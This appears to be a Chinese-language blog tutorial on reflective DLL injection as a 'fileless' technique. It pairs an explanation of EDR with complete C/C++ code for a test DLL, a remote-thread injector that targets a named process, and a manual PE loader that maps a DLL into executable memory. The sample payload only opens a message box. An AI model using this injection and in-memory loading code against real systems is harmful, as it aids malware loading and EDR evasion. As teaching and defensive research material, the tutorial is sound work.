RDI无文件落地-反射DLL注入

概念简介

EDR

EDR技术不同于以往的基于边界、规则、策略为主的静态防御,是一种主动式端点安全防护技术,通过记录终端与网络事件(例如用户,文件,进程,注册表,内存和网络事件),结合已知的失陷指标(Indicators of Compromise,IOCs),运用行为分析和机器学习等技术来监测任何可能的安全威胁和恶意活动,并进行自动化的阻止、取证、补救和溯源,从而有效对端点进行防护。

dll注入

通过在目标进程中创建一个远程线程,通过向远程线程中传入对应的DLL,而直接将DLL加载到目标进程的虚拟空间之中

RDI

反射型DLL注入,即RDI是无文件落地,直接内存加载执行PE的技术,不必将其放置在主机的文件系统上,C2中经常使用。

常规dll注入

Dll2.dll

测试,弹个窗

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include<windows.h>
void f() {
    MessageBoxA(0, 0, 0, 0);
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        f();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

将dll注入到aaa2.exe中

//远程进程注入
#include <windows.h>
#include <stdio.h>
#include <TlHelp32.h>
typedef FARPROC
(WINAPI
	* pGetProcAddress)(
		_In_ HMODULE hModule,
		_In_ LPCSTR lpProcName
		);
typedef HMODULE
(WINAPI
	* pLoadLibraryA)(
		_In_ LPCSTR lpLibFileName
		);

BOOL injectDll(DWORD dwPID, LPCTSTR szDllPath);
BOOL mydllinject(DWORD pid, LPCTSTR szDllPath);
DWORD fun(LPCTSTR ProcessName);
int main()
{
	DWORD pid = 0;
	pid = fun(L"aaa2.exe");
	printf("pid:%u
", pid);
	mydllinject(pid,L"Dll2.dll");
	system("pause");
	return 0;
}

BOOL mydllinject(DWORD pid, LPCTSTR szDllPath)
{
	HMODULE hMod = GetModuleHandle(L"kernel32.dll");
	pGetProcAddress pThreadProc= (pGetProcAddress)GetProcAddress(hMod, "LoadLibraryW");
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if (hProcess == NULL)
	{
		return FALSE;
	}
	DWORD size = (DWORD)(wcslen(szDllPath) + 1) * sizeof(TCHAR);
	LPVOID conAddr = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT, PAGE_READWRITE);
	if (conAddr == NULL)
	{
		return FALSE;
	}
	printf("add:%x", conAddr);
	int writecon = WriteProcessMemory(hProcess, conAddr, (LPCVOID)szDllPath, size, NULL);
	if (writecon == 0)
	{
		printf("WriteProcessMemory:%d
", GetLastError());
	}

	HANDLE thred = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pThreadProc, conAddr, 0, NULL);
	if (thred == NULL)
	{
		printf("CreateRemoteThread:%d
", GetLastError());
	}
	WaitForSingleObject(thred, INFINITE);
}
DWORD fun(LPCTSTR ProcessName)
{
	HANDLE hProceessnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (hProceessnap == INVALID_HANDLE_VALUE)
	{
		printf_s("创建进行快照失败
");
		return 0;
	}
	else
	{
		PROCESSENTRY32 pe32;
		pe32.dwSize = sizeof(pe32);
		BOOL hProcess = Process32First(hProceessnap, &pe32);
		while (hProcess)
		{
			if (_wcsicmp(ProcessName, pe32.szExeFile) == 0)
			{
				return pe32.th32ProcessID;
			}
			hProcess = Process32Next(hProceessnap, &pe32);
		}
	}
	CloseHandle(hProceessnap);
	return 0;
}

过程

  1. 过程程句柄
  2. 为线程函数的参数分配空间(这里的线程函数参数为需要注入的DLL的路径),然后将参数写入虚拟空间
  3. 加载kernel32.dll,从中获取LoadLibraryW的实际地址
  4. 在目标进程中创建远程线程,执行装载DLL的操作

注:

Windows上的应用进程大部分都装载了kernel32.dll这个DLL库,而这个库在各个进程中的装载地址是一样的,那么我们就可以通过GetModuleHandle直接在程序中拿到kernel32.dll,并通过GetProcAddress这个API来找到LoadLibrary这个函数的地址

LoadLibrary函数是需要参数的,这个参数也就是DLL文件的路径,且在目标进程的内存中是没有的,所以需要我们自行分配内存和写入数据

RDI反射dll注入

手动解析PE并映射到目标进程再运行

#include<stdio.h>
#include <Windows.h>
//重定位表
typedef struct BASE_RELOCATION_BLOCK {
    DWORD page_addr;
    DWORD block_size;
} BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;

//重定位项
typedef struct BASE_RELOCATION_ENTRY {
    USHORT offset : 12;
    USHORT type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;
typedef BOOL(WINAPI* DLLEntry)(HINSTANCE dll, DWORD reason, LPVOID reserved);
int main()
{
    printf("pid:%d
", GetCurrentProcessId());

    // 获取当前模块
    PVOID imagebase = GetModuleHandleA(NULL);

    //将DLL字节读入内存缓冲区
    HANDLE dll = CreateFileA("D:\c_project\dlltest\Debug\Dll2.dll", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL);
    DWORD64 dll_size = GetFileSize(dll, NULL);
    LPVOID dll_bytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dll_size);
    DWORD out_size = 0;
    ReadFile(dll, dll_bytes, dll_size, &out_size, NULL);

    // 解析dll
    PIMAGE_DOS_HEADER dosheaders = (PIMAGE_DOS_HEADER)dll_bytes;
    PIMAGE_NT_HEADERS ntheaders = (PIMAGE_NT_HEADERS)((DWORD)dll_bytes + dosheaders->e_lfanew);
    SIZE_T dllImage_size = ntheaders->OptionalHeader.SizeOfImage;   //内存中对齐后的大小
 
    // 为DLL分配新的内存空间
    LPVOID dllbase = VirtualAlloc(NULL, dllImage_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    printf("new memory addr:%p
", dllbase);

    //计算得到dll基地址的偏移量,也就是实际的 DLL 加载地址减去 DLL 的首选加载地址
    DWORD delta_image_base = (DWORD)dllbase - (DWORD)ntheaders->OptionalHeader.ImageBase;

    // 将DLL节表头复制到新分配的DLL空间
    memcpy(dllbase, dll_bytes, ntheaders->OptionalHeader.SizeOfHeaders);

    // 将DLL节部分复制到新分配的DLL空间
    PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntheaders);
    for (size_t i = 0; i < ntheaders->FileHeader.NumberOfSections; i++,section++)
    {
        LPVOID section_destination = (LPVOID)((DWORD)dllbase + (DWORD)section->VirtualAddress);
        LPVOID section_bytes = (LPVOID)((DWORD)dll_bytes + (DWORD)section->PointerToRawData);
        memcpy(section_destination, section_bytes, section->SizeOfRawData);
    }

    //修复重定位
    IMAGE_DATA_DIRECTORY relocations = ntheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    DWORD relocation_table = relocations.VirtualAddress + (DWORD)dllbase;
    DWORD relocations_processed = 0;

    while (relocations_processed < relocations.Size)
    {
        PBASE_RELOCATION_BLOCK relocation_block = (PBASE_RELOCATION_BLOCK)(relocation_table + relocations_processed);
        relocations_processed += sizeof(BASE_RELOCATION_BLOCK);
        DWORD relocations_count = (relocation_block->block_size - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
        PBASE_RELOCATION_ENTRY relocation_entries = (PBASE_RELOCATION_ENTRY)(relocation_table + relocations_processed);

        for (DWORD i = 0; i < relocations_count; i++)
        {
            relocations_processed += sizeof(BASE_RELOCATION_ENTRY);

            if (relocation_entries[i].type == 0)
            {
                continue;
            }

            DWORD relocation_rva = relocation_block->page_addr + relocation_entries[i].offset;
            DWORD address_2_patch = 0;
            ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD)dllbase + relocation_rva), &address_2_patch, sizeof(DWORD), NULL);
            address_2_patch += delta_image_base;
            memcpy((PVOID)((DWORD)dllbase + relocation_rva), &address_2_patch, sizeof(DWORD));
        }
    }

    //解析导入地址表
    IMAGE_DATA_DIRECTORY imports_directory = ntheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    PIMAGE_IMPORT_DESCRIPTOR import_descriptor = (PIMAGE_IMPORT_DESCRIPTOR)(imports_directory.VirtualAddress + (DWORD)dllbase);
    LPCSTR libraryname = "";
    HMODULE library = NULL;
    while (import_descriptor->Name != NULL)
    {
        libraryname = (LPCSTR)import_descriptor->Name + (DWORD)dllbase;
        library = LoadLibraryA(libraryname);
        if (library)
        {
            PIMAGE_THUNK_DATA thunk = NULL;
            thunk = (PIMAGE_THUNK_DATA)((DWORD)dllbase + import_descriptor->FirstThunk);

            while (thunk->u1.AddressOfData != NULL)
            {
                if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
                {
                    LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
                    thunk->u1.Function = (DWORD)GetProcAddress(library, functionOrdinal);
                }
                else
                {
                    PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD)dllbase + thunk->u1.AddressOfData);
                    DWORD functionAddress = (DWORD)GetProcAddress(library, functionName->Name);
                    thunk->u1.Function = functionAddress;
                }
                ++thunk;
            }
        }
        import_descriptor++;
    }

    //执行
    DLLEntry dllentry = (DLLEntry)((DWORD)dllbase + ntheaders->OptionalHeader.AddressOfEntryPoint);
    (*dllentry)((HINSTANCE)dllbase, DLL_PROCESS_ATTACH, 0);
    CloseHandle(dll);
    HeapFree(GetProcessHeap(), 0, dll_bytes);
    return 0;
}

效果如下
在这里插入图片描述

过程

1、将原始DLL文件加载至内存缓冲区;

2、解析DLL标头并获取SizeOfImage;

3、为DLL分配新的内存空间,大小为SizeOfImage;

4、将DLL头和PE节复制到中分配的内存空间;

5、执行重定位;

6、加载DLL导入的库,解析导入地址表(IAT);

7、调用DLL